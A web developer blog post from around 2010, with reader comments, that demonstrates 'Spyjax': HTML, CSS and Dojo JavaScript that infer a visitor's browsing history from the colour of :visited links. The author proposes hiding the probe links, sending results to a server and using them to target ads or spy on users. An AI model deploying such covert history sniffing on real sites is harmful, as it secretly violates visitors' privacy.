Spyjax: Ajax For Evil Using Dojo

By  on  

The idea of Spyjax is nothing new. In pasts posts I've covered how you can spy on your user's history with both MooTools and jQuery. Today we'll cover how to check user history using the Dojo Toolkit.

The HTML

<ul>
<li><a href="https://davidwalsh.name" class="checkme">David Walsh Blog</a></li>
<li><a href="http://css-tricks.com" class="checkme">CSS Tricks</a></li>
<li><a href="http://snook.ca" class="checkme">Snook</a></li>
<li><a href="http://cnn.com" class="checkme">CNN</a></li>
<li><a href="http://digg.com" class="checkme">Digg</a></li>
<li><a href="http://flickr.com" class="checkme">Flickr</a></li>
<li><a href="http://php.net" class="checkme">PHP.Net</a></li>
<li><a href="http://reddit.com" class="checkme">Reddit</a></li>
<li><a href="http://yahoo.com" class="checkme">Yahoo!</a></li>
<li><a href="http://google.com" class="checkme">Google!</a></li>
<li><a href="http://msn.com" class="checkme">MSN</a></li>
<li><a href="http://gmail.com" class="checkme">Gmail</a></li>
<li><a href="http://ajaxian.com" class="checkme">Ajaxian</a></li>
<li><a href="http://imdb.com" class="checkme">IMDB</a></li>
<li><a href="http://mootools.net" class="checkme">MooTools</a></li>
<li><a href="http://jquery.com" class="checkme">jQuery</a></li>
<li><a href="http://wordpress.org" class="checkme">Wordpress</a></li>
<li><a href="http://dlisted.com" class="checkme">DListed</a></li>
<li><a href="http://foxnews.com" class="checkme">Fox News</a></li>
<li><a href="http://dzone.com" class="checkme">DZone</a></li>
<li><a href="http://nettuts.com" class="checkme">NetTuts</a></li>
<li><a href="http://youtube.com" class="checkme">YouTube</a></li>
<li><a href="http://diggnation.com" class="checkme">Diggnation</a></li>
<li><a href="http://collegehumor.com" class="checkme">College Humor</a></li>
<li><a href="http://facebook.com" class="checkme">Facebook</a></li>
<li><a href="http://myspace.com" class="checkme">MySpace</a></li>	
</ul>

For the sake of this demo I've created a list of links. A very clever developer would inject links into the page with a "display:none;" declaration so the user didn't know they were there.

The CSS

a.checkme			{ color:#00ff00; }
a.checkme:visited	{ color:#ff0000; }
.highlight			{ background:#fffea1; }

The crucial idea behind the CSS above is that the :visited link has a different color than the initial state -- that's how we know a link has been visited.

The Dojo JavaScript

(function(d,$,$$) {
	d.ready(function() {
		d.connect($('tell-me'),'onclick',function() {
			var sitesFound = 0;
			$$('a.checkme').forEach(function(node) {
				var color = d.style(node,'color');
				if(color == '#ff0000' || color == 'rgb(255, 0, 0)') {
					d.addClass(node,'highlight');
					sitesFound++;
				}
			});
			//output stuff
			if(sitesFound) {
				alert('I know ' + sitesFound + ' websites you\'ve been to.  This is where I save your information via an AJAX call to a PHP script.');
			}
			else {
				alert('Darn, couldn\'t find any!');
			}
		});
	});			
})(dojo,dojo.byId,dojo.query);

Much like the previous MooTools and Dojo posts, we start out by grabbing every link we want to check and analyze the link's color. If the color matches the visited state's color, we've found a site the user has been to. Sadly enough, it's really that easy.

So how is this relevant? Imagine you know that the user has been to the Apple Store (http://store.apple.com). You could target your website's ads toward iPods, iPads, etc. That's a fairly simple example. You could simply spy on users for your own sake. What are your thoughts on this practice?

Recent Features

  • By
    Create Namespaced Classes with MooTools

    MooTools has always gotten a bit of grief for not inherently using and standardizing namespaced-based JavaScript classes like the Dojo Toolkit does.  Many developers create their classes as globals which is generally frowned up.  I mostly disagree with that stance, but each to their own.  In any event...

  • By
    Being a Dev Dad

    I get asked loads of questions every day but I'm always surprised that they're rarely questions about code or even tech -- many of the questions I get are more about non-dev stuff like what my office is like, what software I use, and oftentimes...

Incredible Demos

  • By
    Truly Responsive Images with responsive-images.js

    Responsive web design is something you hear a lot about these days. The moment I really started to get into responsive design was a few months ago when I started to realise that 'responsive' is not just about scaling your websites to the size of your...

  • By
    Create a Trailing Mouse Cursor Effect Using MooTools

    Remember the old days of DHTML and effects that were an achievement to create but had absolutely no value? Well, a trailing mouse cursor script is sorta like that. And I'm sorta the type of guy that creates effects just because I can.

Discussion

  1. Will

    It’s probably worth having a link to last month’s announcement by Mozilla over this flaw:

    http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/

  2. Does this only work if you have clicked on a link to the particular site from another site? I visit php.net several times a day and flickr many times but neither show as visited.

    Also your second Demo button underneath the code is a broken link :)

  3. Note that browser vendors (at least at Mozilla) are currently implementing fixes for this security leak. This method will stop working soon in modern browsers.

  4. Adam Radabaugh

    @Christoph Pojer: How would they fix this? Disallow JS to read the color of visited nodes? That would break standards. Not allow :visited links to be styled if they violate the same-domain origin policy? Still seems very non-standards compliant. I am curious to know.

  5. Thanks for the links guys! I hadn’t seen this.

  6. http://www.unsanitized.net/linkstatus/?lang=en

    I use the following plugin-in for Firefox which denies hacks like these. Pretty handy as well because I can also see when I last visited said link.

  7. Great post. I was making a research about similar methods just for the fun of it. With such methods there are endless possibilities to push related content to user.

  8. hamburger

    thats great fun with dojo

    i like your site

  9. @bukmacher: It’s a custom template for this site. If you look in the source, it’s called “walshbook3”

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!